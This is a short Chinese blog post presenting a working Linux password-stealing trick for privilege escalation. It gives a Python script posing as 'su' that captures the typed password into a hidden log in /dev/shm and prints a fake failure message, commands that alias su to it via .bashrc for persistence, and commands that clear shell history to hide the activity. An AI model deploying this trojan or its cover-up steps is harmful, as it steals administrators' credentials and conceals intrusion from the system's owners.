【python小工具】linux 低权限密码记录 提权小套路

#!/usr/bin/python

import os, sys, getpass, time

current_time = time.strftime("%Y-%m-%d %H:%M")

logfile="/dev/shm/.su.log"

fail_str = "su: incorrect password"

try:

    passwd = getpass.getpass(prompt='Password: ');

    file=open(logfile,'a')


    file.writelines("\n"+" [%s]t:%s "%(passwd, current_time)+"\n")


    file.close()

except:

    pass

time.sleep(1)

print (fail_str)

linux命令

echo "alias su='python3 文件路径'" >> .bashrc
#python 用的是2.7 ;python3 用的python3.4,;具体看你配置
#在bash永远保存,防止重启丢失
source .bashrc
#生效bash

关于清history

echo > .bash_history

history -c

history -r

#清空history缓存
#删除
#同步
#不推荐,推荐vi修改.bash_history文件,然后 history -r

后续改下py文件

 

posted @ 2019-01-22 11:21  不愿透露用户名的root  阅读(626)  评论(0编辑  收藏  举报